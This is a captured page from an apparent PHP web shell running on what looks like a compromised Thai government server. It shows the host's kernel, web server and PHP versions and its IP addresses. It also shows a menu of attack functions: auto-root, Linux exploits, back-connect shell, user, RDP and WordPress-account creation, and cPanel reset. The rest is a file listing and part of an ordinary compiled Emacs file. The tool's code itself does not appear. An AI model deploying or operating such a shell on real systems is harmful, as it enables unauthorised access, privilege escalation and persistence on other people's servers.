Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
23.1 /
lisp /
[ HOME SHELL ]
Name
Size
Permission
Action
calc
[ DIR ]
drwxr-xr-x
calendar
[ DIR ]
drwxr-xr-x
emacs-lisp
[ DIR ]
drwxr-xr-x
emulation
[ DIR ]
drwxr-xr-x
erc
[ DIR ]
drwxr-xr-x
eshell
[ DIR ]
drwxr-xr-x
gnus
[ DIR ]
drwxr-xr-x
international
[ DIR ]
drwxr-xr-x
language
[ DIR ]
drwxr-xr-x
mail
[ DIR ]
drwxr-xr-x
mh-e
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
nxml
[ DIR ]
drwxr-xr-x
obsolete
[ DIR ]
drwxr-xr-x
org
[ DIR ]
drwxr-xr-x
play
[ DIR ]
drwxr-xr-x
progmodes
[ DIR ]
drwxr-xr-x
term
[ DIR ]
drwxr-xr-x
textmodes
[ DIR ]
drwxr-xr-x
url
[ DIR ]
drwxr-xr-x
COPYING
34.32
KB
-rw-r--r--
README
538
B
-rw-r--r--
abbrev.elc
29.69
KB
-rw-r--r--
abbrevlist.elc
1.12
KB
-rw-r--r--
add-log.elc
35.21
KB
-rw-r--r--
align.elc
38.38
KB
-rw-r--r--
allout.elc
208.3
KB
-rw-r--r--
ansi-color.elc
16.3
KB
-rw-r--r--
apropos.elc
31.93
KB
-rw-r--r--
arc-mode.elc
54.72
KB
-rw-r--r--
array.elc
25.83
KB
-rw-r--r--
autoarg.elc
5.98
KB
-rw-r--r--
autoinsert.elc
12.01
KB
-rw-r--r--
autorevert.elc
18.25
KB
-rw-r--r--
avoid.elc
10.17
KB
-rw-r--r--
battery.elc
17.98
KB
-rw-r--r--
bindings.elc
39.04
KB
-rw-r--r--
bookmark.elc
55.9
KB
-rw-r--r--
bs.elc
48.34
KB
-rw-r--r--
buff-menu.elc
28
KB
-rw-r--r--
button.elc
13.92
KB
-rw-r--r--
calculator.elc
49.18
KB
-rw-r--r--
case-table.elc
4.42
KB
-rw-r--r--
cdl.elc
1.26
KB
-rw-r--r--
chistory.elc
5.75
KB
-rw-r--r--
cmuscheme.elc
17.43
KB
-rw-r--r--
comint.elc
100.97
KB
-rw-r--r--
compare-w.elc
10.98
KB
-rw-r--r--
complete.elc
23.62
KB
-rw-r--r--
completion.elc
45.06
KB
-rw-r--r--
composite.elc
29.39
KB
-rw-r--r--
cus-dep.elc
5.04
KB
-rw-r--r--
cus-edit.elc
129.67
KB
-rw-r--r--
cus-face.elc
10.46
KB
-rw-r--r--
cus-load.el
63.45
KB
-rw-r--r--
cus-start.elc
10.67
KB
-rw-r--r--
cus-theme.elc
13.7
KB
-rw-r--r--
custom.elc
36.46
KB
-rw-r--r--
cvs-status.elc
23
KB
-rw-r--r--
dabbrev.elc
23.08
KB
-rw-r--r--
delim-col.elc
8.41
KB
-rw-r--r--
delsel.elc
5.24
KB
-rw-r--r--
descr-text.elc
20.69
KB
-rw-r--r--
desktop.elc
34.52
KB
-rw-r--r--
dframe.elc
22.51
KB
-rw-r--r--
diff-mode.elc
55.58
KB
-rw-r--r--
diff.elc
5.51
KB
-rw-r--r--
dired-aux.elc
67.5
KB
-rw-r--r--
dired-x.elc
44.96
KB
-rw-r--r--
dired.elc
96.48
KB
-rw-r--r--
dirtrack.elc
7.39
KB
-rw-r--r--
disp-table.elc
8.33
KB
-rw-r--r--
dnd.elc
7.04
KB
-rw-r--r--
doc-view.elc
36.01
KB
-rw-r--r--
dos-fns.elc
5.53
KB
-rw-r--r--
dos-vars.elc
1.24
KB
-rw-r--r--
dos-w32.elc
11.12
KB
-rw-r--r--
double.elc
4.13
KB
-rw-r--r--
ebuff-menu.elc
9.11
KB
-rw-r--r--
echistory.elc
4.93
KB
-rw-r--r--
ediff-diff.elc
35.54
KB
-rw-r--r--
ediff-help.elc
11.47
KB
-rw-r--r--
ediff-hook.elc
5.89
KB
-rw-r--r--
ediff-init.elc
60.88
KB
-rw-r--r--
ediff-merg.elc
10.04
KB
-rw-r--r--
ediff-mult.elc
58.31
KB
-rw-r--r--
ediff-ptch.elc
18.63
KB
-rw-r--r--
ediff-util.elc
118.44
KB
-rw-r--r--
ediff-vers.elc
4.74
KB
-rw-r--r--
ediff-wind.elc
30.56
KB
-rw-r--r--
ediff.elc
36.28
KB
-rw-r--r--
edmacro.elc
21.45
KB
-rw-r--r--
ehelp.elc
11.03
KB
-rw-r--r--
electric.elc
2.81
KB
-rw-r--r--
elide-head.elc
2.8
KB
-rw-r--r--
emacs-lock.elc
2.77
KB
-rw-r--r--
emerge.elc
80.16
KB
-rw-r--r--
env.elc
5.69
KB
-rw-r--r--
epa-dired.elc
1.87
KB
-rw-r--r--
epa-file.elc
6.77
KB
-rw-r--r--
epa-hook.elc
4.28
KB
-rw-r--r--
epa-mail.elc
7.04
KB
-rw-r--r--
epa.elc
34.03
KB
-rw-r--r--
epg-config.elc
4.01
KB
-rw-r--r--
epg.elc
85.05
KB
-rw-r--r--
expand.elc
9.42
KB
-rw-r--r--
ezimage.elc
9.2
KB
-rw-r--r--
face-remap.elc
13.15
KB
-rw-r--r--
facemenu.elc
23.61
KB
-rw-r--r--
faces.elc
81.51
KB
-rw-r--r--
ffap.elc
46.14
KB
-rw-r--r--
filecache.elc
16.1
KB
-rw-r--r--
files.elc
175.25
KB
-rw-r--r--
filesets.elc
73.03
KB
-rw-r--r--
find-cmd.elc
4.94
KB
-rw-r--r--
find-dired.elc
7.4
KB
-rw-r--r--
find-file.elc
18.68
KB
-rw-r--r--
find-lisp.elc
7.42
KB
-rw-r--r--
finder-inf.el
93.47
KB
-rw-r--r--
finder.elc
12.11
KB
-rw-r--r--
flow-ctrl.elc
2.44
KB
-rw-r--r--
foldout.elc
7.6
KB
-rw-r--r--
follow.elc
37.11
KB
-rw-r--r--
font-core.elc
12.92
KB
-rw-r--r--
font-lock.elc
61.1
KB
-rw-r--r--
format-spec.elc
1.98
KB
-rw-r--r--
format.elc
27.73
KB
-rw-r--r--
forms-d2.el
3.13
KB
-rw-r--r--
forms-pass.el
742
B
-rw-r--r--
forms.elc
35.13
KB
-rw-r--r--
frame.elc
48.66
KB
-rw-r--r--
fringe.elc
8.01
KB
-rw-r--r--
generic-x.elc
44.25
KB
-rw-r--r--
gs.elc
3.93
KB
-rw-r--r--
help-at-pt.elc
11.27
KB
-rw-r--r--
help-fns.elc
21.77
KB
-rw-r--r--
help-macro.elc
4.37
KB
-rw-r--r--
help-mode.elc
19.38
KB
-rw-r--r--
help.elc
40.91
KB
-rw-r--r--
hex-util.elc
1.48
KB
-rw-r--r--
hexl.elc
32.06
KB
-rw-r--r--
hi-lock.elc
23.27
KB
-rw-r--r--
hilit-chg.elc
28.02
KB
-rw-r--r--
hippie-exp.elc
23.39
KB
-rw-r--r--
hl-line.elc
7.71
KB
-rw-r--r--
ibuf-ext.elc
54.62
KB
-rw-r--r--
ibuf-macs.elc
11.65
KB
-rw-r--r--
ibuffer.elc
91.96
KB
-rw-r--r--
icomplete.elc
10.36
KB
-rw-r--r--
ido.elc
110.93
KB
-rw-r--r--
ielm.elc
17.67
KB
-rw-r--r--
iimage.elc
4.06
KB
-rw-r--r--
image-dired.elc
82.24
KB
-rw-r--r--
image-file.elc
6.11
KB
-rw-r--r--
image-mode.elc
14.54
KB
-rw-r--r--
image.elc
17.09
KB
-rw-r--r--
imenu.elc
24.8
KB
-rw-r--r--
indent.elc
17
KB
-rw-r--r--
info-look.elc
26.13
KB
-rw-r--r--
info-xref.elc
7.04
KB
-rw-r--r--
info.elc
119.11
KB
-rw-r--r--
informat.elc
9.69
KB
-rw-r--r--
isearch.elc
76.23
KB
-rw-r--r--
isearchb.elc
4.92
KB
-rw-r--r--
iswitchb.elc
32.11
KB
-rw-r--r--
jit-lock.elc
17.93
KB
-rw-r--r--
jka-cmpr-hook.elc
11.67
KB
-rw-r--r--
jka-compr.elc
12.64
KB
-rw-r--r--
json.elc
13.04
KB
-rw-r--r--
kermit.elc
2.96
KB
-rw-r--r--
kmacro.elc
31.07
KB
-rw-r--r--
ldefs-boot.el
1.17
MB
-rw-r--r--
ledit.elc
4.74
KB
-rw-r--r--
linum.elc
9.56
KB
-rw-r--r--
loaddefs.el
1.17
MB
-rw-r--r--
loadhist.elc
8.65
KB
-rw-r--r--
loadup.el
12.67
KB
-rw-r--r--
locate.elc
17.81
KB
-rw-r--r--
log-edit.elc
24.93
KB
-rw-r--r--
log-view.elc
14.06
KB
-rw-r--r--
longlines.elc
14.94
KB
-rw-r--r--
lpr.elc
8.61
KB
-rw-r--r--
ls-lisp.elc
17.35
KB
-rw-r--r--
macros.elc
6.99
KB
-rw-r--r--
makesum.elc
2.16
KB
-rw-r--r--
man.elc
40.03
KB
-rw-r--r--
master.elc
4.52
KB
-rw-r--r--
mb-depth.elc
3.12
KB
-rw-r--r--
md4.elc
8.14
KB
-rw-r--r--
menu-bar.elc
67.01
KB
-rw-r--r--
midnight.elc
8.92
KB
-rw-r--r--
minibuf-eldef.elc
5.15
KB
-rw-r--r--
minibuffer.elc
42.75
KB
-rw-r--r--
misc.elc
3.67
KB
-rw-r--r--
misearch.elc
8.96
KB
-rw-r--r--
mouse-copy.elc
4.07
KB
-rw-r--r--
mouse-drag.elc
7.33
KB
-rw-r--r--
mouse-sel.elc
20.93
KB
-rw-r--r--
mouse.elc
60.03
KB
-rw-r--r--
msb.elc
27.27
KB
-rw-r--r--
mwheel.elc
9.41
KB
-rw-r--r--
newcomment.elc
32.76
KB
-rw-r--r--
novice.elc
4.75
KB
-rw-r--r--
outline.elc
34.54
KB
-rw-r--r--
paren.elc
6.43
KB
-rw-r--r--
password-cache.elc
3.58
KB
-rw-r--r--
patcomp.el
775
B
-rw-r--r--
paths.el
7.28
KB
-rw-r--r--
pcmpl-cvs.elc
6
KB
-rw-r--r--
pcmpl-gnu.elc
8.21
KB
-rw-r--r--
pcmpl-linux.elc
3.17
KB
-rw-r--r--
pcmpl-rpm.elc
7.5
KB
-rw-r--r--
pcmpl-unix.elc
5.44
KB
-rw-r--r--
pcomplete.elc
34.1
KB
-rw-r--r--
pcvs-defs.elc
16.27
KB
-rw-r--r--
pcvs-info.elc
25.83
KB
-rw-r--r--
pcvs-parse.elc
15.34
KB
-rw-r--r--
pcvs-util.elc
26.8
KB
-rw-r--r--
pcvs.elc
85.52
KB
-rw-r--r--
pgg-def.elc
2.78
KB
-rw-r--r--
pgg-gpg.elc
13.09
KB
-rw-r--r--
pgg-parse.elc
13.45
KB
-rw-r--r--
pgg-pgp.elc
7.64
KB
-rw-r--r--
pgg-pgp5.elc
7.68
KB
-rw-r--r--
pgg.elc
18.01
KB
-rw-r--r--
printing.elc
157.56
KB
-rw-r--r--
proced.elc
57.95
KB
-rw-r--r--
ps-bdf.elc
13.34
KB
-rw-r--r--
ps-def.elc
3.09
KB
-rw-r--r--
ps-mule.elc
36.17
KB
-rw-r--r--
ps-print.elc
145.59
KB
-rw-r--r--
ps-samp.elc
5.5
KB
-rw-r--r--
recentf.elc
49.04
KB
-rw-r--r--
rect.elc
10.79
KB
-rw-r--r--
register.elc
10.69
KB
-rw-r--r--
repeat.elc
6.05
KB
-rw-r--r--
replace.elc
55.02
KB
-rw-r--r--
reposition.elc
2.88
KB
-rw-r--r--
reveal.elc
6.61
KB
-rw-r--r--
rfn-eshadow.elc
7.12
KB
-rw-r--r--
rot13.elc
2.6
KB
-rw-r--r--
ruler-mode.elc
22.48
KB
-rw-r--r--
s-region.elc
3.3
KB
-rw-r--r--
savehist.elc
10.57
KB
-rw-r--r--
saveplace.elc
7.51
KB
-rw-r--r--
sb-image.elc
2.51
KB
-rw-r--r--
scroll-all.elc
4.05
KB
-rw-r--r--
scroll-bar.elc
11.47
KB
-rw-r--r--
scroll-lock.elc
4.64
KB
-rw-r--r--
select.elc
11.8
KB
-rw-r--r--
server.elc
39.79
KB
-rw-r--r--
ses.elc
87.39
KB
-rw-r--r--
sha1.elc
8
KB
-rw-r--r--
shadowfile.elc
22.61
KB
-rw-r--r--
shell.elc
34.08
KB
-rw-r--r--
simple.elc
196.35
KB
-rw-r--r--
skeleton.elc
15.78
KB
-rw-r--r--
smerge-mode.elc
33.61
KB
-rw-r--r--
sort.elc
12.94
KB
-rw-r--r--
soundex.elc
1.34
KB
-rw-r--r--
speedbar.elc
115.06
KB
-rw-r--r--
startup.elc
60.78
KB
-rw-r--r--
strokes.elc
44.11
KB
-rw-r--r--
subdirs.el
426
B
-rw-r--r--
subr.elc
113.48
KB
-rw-r--r--
t-mouse.elc
3.38
KB
-rw-r--r--
tabify.elc
2
KB
-rw-r--r--
talk.elc
3.19
KB
-rw-r--r--
tar-mode.elc
52.24
KB
-rw-r--r--
tempo.elc
18.63
KB
-rw-r--r--
term.elc
99.67
KB
-rw-r--r--
terminal.elc
31.36
KB
-rw-r--r--
thingatpt.elc
10.84
KB
-rw-r--r--
thumbs.elc
26.23
KB
-rw-r--r--
time-stamp.elc
21.03
KB
-rw-r--r--
time.elc
18.2
KB
-rw-r--r--
timezone.elc
10.99
KB
-rw-r--r--
tmm.elc
13.9
KB
-rw-r--r--
tool-bar.elc
9.69
KB
-rw-r--r--
tooltip.elc
12.35
KB
-rw-r--r--
tree-widget.elc
20.87
KB
-rw-r--r--
tutorial.elc
21.41
KB
-rw-r--r--
type-break.elc
35.61
KB
-rw-r--r--
uniquify.elc
19.91
KB
-rw-r--r--
userlock.elc
4.69
KB
-rw-r--r--
vc-annotate.elc
22.68
KB
-rw-r--r--
vc-arch.elc
17.58
KB
-rw-r--r--
vc-bzr.elc
26.84
KB
-rw-r--r--
vc-cvs.elc
32.19
KB
-rw-r--r--
vc-dav.elc
5.3
KB
-rw-r--r--
vc-dir.elc
39.5
KB
-rw-r--r--
vc-dispatcher.elc
14.61
KB
-rw-r--r--
vc-git.elc
32.75
KB
-rw-r--r--
vc-hg.elc
25.95
KB
-rw-r--r--
vc-hooks.elc
32.75
KB
-rw-r--r--
vc-mtn.elc
10.95
KB
-rw-r--r--
vc-rcs.elc
34.99
KB
-rw-r--r--
vc-sccs.elc
13.24
KB
-rw-r--r--
vc-svn.elc
20.57
KB
-rw-r--r--
vc.elc
59.4
KB
-rw-r--r--
vcursor.elc
23.44
KB
-rw-r--r--
version.el
3.37
KB
-rw-r--r--
view.elc
35.96
KB
-rw-r--r--
vt-control.elc
2.06
KB
-rw-r--r--
vt100-led.elc
1.53
KB
-rw-r--r--
w32-fns.elc
15.82
KB
-rw-r--r--
w32-vars.elc
5.53
KB
-rw-r--r--
wdired.elc
21.69
KB
-rw-r--r--
whitespace.elc
59.83
KB
-rw-r--r--
wid-browse.elc
7.89
KB
-rw-r--r--
wid-edit.elc
104.76
KB
-rw-r--r--
widget.elc
1.37
KB
-rw-r--r--
windmove.elc
9.57
KB
-rw-r--r--
window.elc
57.4
KB
-rw-r--r--
winner.elc
11.61
KB
-rw-r--r--
woman.elc
107.73
KB
-rw-r--r--
x-dnd.elc
19.35
KB
-rw-r--r--
xml.elc
18.38
KB
-rw-r--r--
xt-mouse.elc
7.43
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : hilit-chg.elc
;ELC ;;; Compiled by mockbuild@c6b8.bsys.dev.centos.org on Thu Feb 19 13:04:12 2015 ;;; from file /builddir/build/BUILD/emacs-23.1/lisp/hilit-chg.el ;;; in Emacs version 23.1.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. (if (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (or (and (boundp 'epoch::version) epoch::version) (string-lessp emacs-version "19.29"))) (error "`hilit-chg.el' was compiled for Emacs 19.29 or later")) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301!\210\302\303\304\305\306\307\310\311&\210\312\303\313\314\310\303%\210\315\316\317\303#\210\312\320\321\322\310\303%\210\315\323\317\320#\210\324\325\326\304#\210\327\325\326\330#\207" [require wid-edit custom-declare-group highlight-changes nil "Highlight Changes mode." :version "20.4" :group faces custom-declare-face ((((min-colors 88) (class color)) (:foreground "red1")) (((class color)) (:foreground "red")) (t (:inverse-video t))) "Face used for highlighting changes." put highlight-changes-face face-alias highlight-changes-delete ((((min-colors 88) (class color)) (:foreground "red1" :underline t)) (((class color)) (:foreground "red" :underline t)) (t (:inverse-video t))) "Face used for highlighting deletions." highlight-changes-delete-face defvaralias highlight-changes-colours highlight-changes-colors make-obsolete-variable "22.1"] 8) #@407 Colors used by `highlight-changes-rotate-faces'. The newest rotated change will be displayed in the first element of this list, the next older will be in the second element etc. This list is used if `highlight-changes-face-list' is nil, otherwise that variable overrides this list. If you only care about foreground colors then use this, if you want fancier faces then set `highlight-changes-face-list'. (custom-declare-variable 'highlight-changes-colors '(if (eq (frame-parameter nil 'background-mode) 'light) '("magenta" "blue" "darkgreen" "chocolate" "sienna4" "NavyBlue") '("yellow" "magenta" "blue" "maroon" "firebrick" "green4" "DarkOrchid")) '(#$ . 1483) :type '(repeat color) :group 'highlight-changes) (byte-code "\300\301\302\303#\210\304\301\302\305#\207" [defvaralias highlight-changes-initial-state highlight-changes-visibility-initial-state nil make-obsolete-variable "23.1"] 4) #@272 Controls whether changes are initially visible in Highlight Changes mode. This controls the initial value of `highlight-changes-visible-mode'. When a buffer is in Highlight Changes mode the function `highlight-changes-visible-mode' is used to toggle the mode on or off. (custom-declare-variable 'highlight-changes-visibility-initial-state 't '(#$ . 2385) :type 'boolean :group 'highlight-changes) (byte-code "\300\301\302\303#\210\304\301\302\305#\207" [defvaralias highlight-changes-active-string highlight-changes-visible-string nil make-obsolete-variable "23.1"] 4) #@165 The string used when in Highlight Changes mode and changes are visible. This should be set to nil if no indication is desired, or to a string with a leading space. (custom-declare-variable 'highlight-changes-visible-string '" +Chg" '(#$ . 2962) :type '(choice string (const :tag "None" nil)) :group 'highlight-changes) (byte-code "\300\301\302\303#\210\304\301\302\305#\207" [defvaralias highlight-changes-passive-string highlight-changes-invisible-string nil make-obsolete-variable "23.1"] 4) #@164 The string used when in Highlight Changes mode and changes are hidden. This should be set to nil if no indication is desired, or to a string with a leading space. (custom-declare-variable 'highlight-changes-invisible-string '" -Chg" '(#$ . 3463) :type '(choice string (const :tag "None" nil)) :group 'highlight-changes) #@679 Determine whether a buffer is suitable for global Highlight Changes mode. A function means call that function to decide: if it returns non-nil, the buffer is suitable. A list means the elements are major modes suitable for Highlight Changes mode, or a list whose first element is `not' followed by major modes which are not suitable. A value of t means the buffer is suitable if it is visiting a file and its name does not begin with ` ' or `*'. A value of nil means no buffers are suitable for `global-highlight-changes-mode' (effectively disabling the mode). Example: (c-mode c++-mode) means that Highlight Changes mode is turned on for buffers in C and C++ modes only. (custom-declare-variable 'highlight-changes-global-modes 't '(#$ . 3790) :type '(choice (const :tag "all non-special buffers visiting files" t) (set :menu-tag "specific modes" :tag "modes" :value (not) (const :tag "All except these" not) (repeat :tag "Modes" :inline t (symbol :tag "mode"))) (function :menu-tag "determined by function" :value buffer-file-name) (const :tag "none" nil)) :group 'highlight-changes) #@397 If non-nil, toggling global Highlight Changes mode affects existing buffers. Normally, `global-highlight-changes' affects only new buffers (to be created). However, if `highlight-changes-global-changes-existing-buffers' is non-nil, then turning on `global-highlight-changes' will turn on Highlight Changes mode in suitable buffers, and turning the mode off will remove it from existing buffers. (custom-declare-variable 'highlight-changes-global-changes-existing-buffers 'nil '(#$ . 4889) :type 'boolean :group 'highlight-changes) (byte-code "\301B\302\301!\204 \303\301\304\"\210\305B\302\305!\204 \303\305\306\"\210\307\305!\207" [current-load-list hilit-chg-list default-boundp set-default nil hilit-chg-string " ??" make-variable-buffer-local] 3) #@113 Non-nil if Highlight-Changes mode is enabled. Use the command `highlight-changes-mode' to change this variable. (defvar highlight-changes-mode nil (#$ . 5654)) (make-variable-buffer-local 'highlight-changes-mode) #@867 Toggle Highlight Changes mode. With ARG, turn Highlight Changes mode on if and only if arg is positive. In Highlight Changes mode changes are recorded with a text property. Normally they are displayed in a distinctive face, but command \[highlight-changes-visible-mode] can be used to toggles this on and off. Other functions for buffers in this mode include: \[highlight-changes-next-change] - move point to beginning of next change \[highlight-changes-previous-change] - move to beginning of previous change \[highlight-changes-remove-highlight] - remove the change face from the region \[highlight-changes-rotate-faces] - rotate different "ages" of changes through various faces. \[highlight-compare-with-file] - mark text as changed by comparing this buffer with the contents of a file \[highlight-compare-buffers] highlights differences between two buffers. (defalias 'highlight-changes-mode #[(&optional arg) "\305 \306=\203 \n?\202( \203 \307 !\310V\202( \n\204\" \311\202( \312\313\302\"\210\314\315 \2049 \316\317!\203V \317 \203V \320=\203F \f\204F \n?\n\203P \321 \210\202Z \322 \210\202Z \312\323!\210\324\325\n\203d \326\202e \327\"\210\330 \203\205 \305 \203x \305 \232\203\205 \312\331\n\203\202 \332\202\203 \333\"\210)\334 \210\n\207" [#1=#:last-message arg highlight-changes-mode this-command highlight-changes-global-changes-existing-buffers current-message toggle prefix-numeric-value 0 t message "Toggling %s off; better pass an explicit argument." nil display-color-p fboundp x-display-grayscale-p global-highlight-changes-mode hilit-chg-set hilit-chg-clear "Highlight Changes mode requires color or grayscale display" run-hooks highlight-changes-mode-hook highlight-changes-mode-on-hook highlight-changes-mode-off-hook called-interactively-p "Highlight-Changes mode %sabled" "en" "dis" force-mode-line-update] 3 (#$ . 5874) (list (or current-prefix-arg 'toggle))]) (byte-code "\300\301\302\303\304!\205 \304J#\207" [add-minor-mode highlight-changes-mode hilit-chg-string boundp highlight-changes-mode-map] 5) #@129 Non-nil if Highlight-Changes-Visible mode is enabled. Use the command `highlight-changes-visible-mode' to change this variable. (defvar highlight-changes-visible-mode t (#$ . 7926)) (make-variable-buffer-local 'highlight-changes-visible-mode) #@387 Toggle visiblility of changes when buffer is in Highlight Changes mode. This mode only has an effect when Highlight Changes mode is on. It allows toggling between whether or not the changed text is displayed in a distinctive face. The default value can be customized with variable `highlight-changes-visibility-initial-state' This command does not itself set highlight-changes mode. (defalias 'highlight-changes-visible-mode #[(&optional arg) "\303 \304=\203 \n?\202( \203 \305 !\306V\202( \n\204\" \307\202( \310\311\302\"\210\312\313 \210\314\315\n\2036 \316\2027 \317\"\210\320 \203W \303 \203J \303 \232\203W \310\321\n\203T \322\202U \323\"\210)\324 \210\n\207" [#1=#:last-message arg highlight-changes-visible-mode current-message toggle prefix-numeric-value 0 t message "Toggling %s off; better pass an explicit argument." nil hilit-chg-update run-hooks highlight-changes-visible-mode-hook highlight-changes-visible-mode-on-hook highlight-changes-visible-mode-off-hook called-interactively-p "Highlight-Changes-Visible mode %sabled" "en" "dis" force-mode-line-update] 3 (#$ . 8176) (list (or current-prefix-arg 'toggle))]) (byte-code "\300\301\302\303\304!\205 \304J#\207" [add-minor-mode highlight-changes-visible-mode nil boundp highlight-changes-visible-mode-map] 5) (defalias 'hilit-chg-cust-fix-changes-face-list #[(w wc &optional event) "\306!\307 \235\203c \310 ! G\311\211\211 \211 \203R @\312\313\314 \"! \f=\204@ \307=\203; \315\316\f\"\210\202@ \315 \f\"\210\317\fC\n\" SA\211\204 \n\306!\232\204b \320\n\"\210\321 \210-)\322\323\"\211 \205v \324\325$)\207" [w old-list new-list old-name new-name n widget-value default reverse nil intern format "highlight-changes-%d" copy-face highlight-changes append widget-value-set widget-setup widget-get :parent widget-apply :notify p parent event] 6]) #@429 A list of faces used when rotating changes. Normally the variable is initialized to nil and the list is created from `highlight-changes-colors' when needed. However, you can set this variable to any list of faces. You will have to do this if you want faces which don't just differ from the `highlight-changes' face by the foreground color. Otherwise, this list will be constructed when needed from `highlight-changes-colors'. (custom-declare-variable 'highlight-changes-face-list 'nil '(#$ . 10033) :type '(choice (repeat :notify hilit-chg-cust-fix-changes-face-list face) (const :tag "Derive from highlight-changes-colors" nil)) :group 'highlight-changes) #@211 Call function FUNC for each region used by Highlight Changes mode. If START-POSITION is nil, (point-min) is used. If END-POSITION is nil, (point-max) is used. FUNC is called with 3 params: PROPERTY START STOP. (defalias 'hilit-chg-map-changes #[(func &optional start-position end-position) "\206 e \206\n d\306\211 \211 \205< \fW\205< \307 \310\"\311 \f\310 $ \2035 \n \n\2063 \f#\210\n\211\204 \306,\207" [start-position end-position end prop limit start nil get-text-property hilit-chg text-property-not-all func] 6 (#$ . 10699)]) #@230 Display face information for Highlight Changes mode. An overlay from BEG to END containing a change face is added from the information in the text property of type `hilit-chg'. This is the opposite of `hilit-chg-hide-changes'. (defalias 'hilit-chg-display-changes #[(&optional beg end) "\302\303 #\207" [beg end hilit-chg-map-changes hilit-chg-make-ov] 4 (#$ . 11250)]) (defalias 'hilit-chg-make-ov #[(prop start end) "\204 \306\307!\210\310 \n\"\311=\203 \312\202 \235A@ \f\2035 \313 \304\f#\210\313 \314\315#\210\313 \316\315#\2029 \306\317\"*\207" [prop start end hilit-chg-list face ov error "hilit-chg-make-ov: prop is nil" make-overlay hilit-chg-delete highlight-changes-delete overlay-put evaporate t hilit-chg "hilit-chg-make-ov: no face for prop: %s"] 4]) #@221 Remove face information for Highlight Changes mode. The overlay containing the face is removed, but the text property containing the change information is retained. This is the opposite of `hilit-chg-display-changes'. (defalias 'hilit-chg-hide-changes #[(&optional beg end) "\206 e \206\n d\306 \n\"\307 \211 \205- @\310\f\311\"\203% \312\f!\210 A\211\204 \307,\207" [beg end limit start p --dolist-tail-- overlays-in nil overlay-get hilit-chg delete-overlay] 4 (#$ . 12034)]) #@156 Fix change overlays in region between BEG and END. Ensure the overlays agree with the changes as determined from the text properties of type `hilit-chg'. (defalias 'hilit-chg-fixup #[(beg end) "\302 \303\304$\210\305 \"\207" [beg end remove-overlays hilit-chg t hilit-chg-display-changes] 5 (#$ . 12528)])(if macro-declaration-function (funcall macro-declaration-function (quote highlight-save-buffer-state) (quote (declare (indent 0) (debug t))))) #@75 Bind variables according to VARLIST and eval BODY restoring buffer state. (defalias 'highlight-save-buffer-state '(macro . #[(&rest body) "\302\303!\304\305B\306B\307 B\310\311BBF)\207" [modified body make-symbol "modified" let* ((buffer-modified-p)) ((inhibit-modification-hooks t) deactivate-mark buffer-file-name buffer-file-truename) progn unless ((restore-buffer-modified-p nil))] 6 (#$ . 12986)])) #@137 Remove the change face from the region between BEG and END. This allows you to manually remove highlighting from uninteresting changes. (defalias 'highlight-changes-remove-highlight #[(beg end) "\306 \307\310\211\310 \311 \312#\210\313 \"\210?\205 \314\310!-\207" [#1=#:modified inhibit-modification-hooks deactivate-mark buffer-file-name buffer-file-truename beg buffer-modified-p t nil remove-text-properties (hilit-chg nil) hilit-chg-fixup restore-buffer-modified-p end] 5 (#$ . 13400) "r"]) #@140 Record changes and optionally display them in a distinctive face. `hilit-chg-set' adds this function to the `after-change-functions' hook. (defalias 'hilit-chg-set-face-on-change #[(beg end leng-before &optional no-property-change) "\306 \307\216\310\211\311\312 \203$ \205\232 \205\232 \313\"\202\232 \314 \315 \312\211 \312 U\203P \316V\203P \\d^\317\202p \320\311\"\317=\203p \321\211T\311\211$\210\203p \313T\"\210 \204~ \321\311\n$\210\204\210 \203\220 \322\n#\210?\205\231 \323\312!-.\207" [save-match-data-internal old type end-incr beg-decr undo-in-progress match-data ((byte-code "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3)) 1 hilit-chg nil hilit-chg-fixup buffer-modified-p t 0 hilit-chg-delete get-text-property put-text-property hilit-chg-make-ov restore-buffer-modified-p highlight-changes-mode highlight-changes-visible-mode beg end #1=#:modified inhibit-modification-hooks deactivate-mark buffer-file-name buffer-file-truename leng-before no-property-change] 6 (#$ . 13912)]) #@62 Update a buffer's highlight changes when visibility changed. (defalias 'hilit-chg-update #[nil "\203 \206 \305 \207\f \206 \306 \207" [highlight-changes-visible-mode highlight-changes-visible-string hilit-chg-string buffer-read-only highlight-changes-invisible-string hilit-chg-display-changes hilit-chg-hide-changes] 1 (#$ . 14996)]) #@49 Turn on Highlight Changes mode for this buffer. (defalias 'hilit-chg-set #[nil "\303\304\305\306#\210\307 \210\306 \310 \210\311 \210\312\304\305\313\306$\207" [highlight-changes-mode highlight-changes-visibility-initial-state highlight-changes-visible-mode remove-hook after-change-functions hilit-chg-set-face-on-change t hilit-chg-make-list hilit-chg-update force-mode-line-update add-hook nil] 5 (#$ . 15345)]) #@91 Remove Highlight Changes mode for this buffer. This removes all saved change information. (defalias 'hilit-chg-clear #[nil "\203\n \306\307\310 \"\207\311\312\313\314#\210\315 \314\316\211 \316 \317 \210\320\321!\210 \204* \322\316!\210-\316\323 \207" [buffer-read-only #1=#:modified inhibit-modification-hooks deactivate-mark buffer-file-name buffer-file-truename message "Cannot remove highlighting from read-only mode buffer %s" buffer-name remove-hook after-change-functions hilit-chg-set-face-on-change t buffer-modified-p nil hilit-chg-hide-changes hilit-chg-map-changes #[(prop start stop) "\302 \303#\207" [start stop remove-text-properties (hilit-chg nil)] 4] restore-buffer-modified-p force-mode-line-update highlight-changes-mode] 5 (#$ . 15768)]) #@73 Move to the beginning of the next change, if in Highlight Changes mode. (defalias 'highlight-changes-next-change #[nil "\203- `\303\304`\305\"\211\203 \306`\305\"\n\203 \306\n\305\"\n\203( \nb\202+ 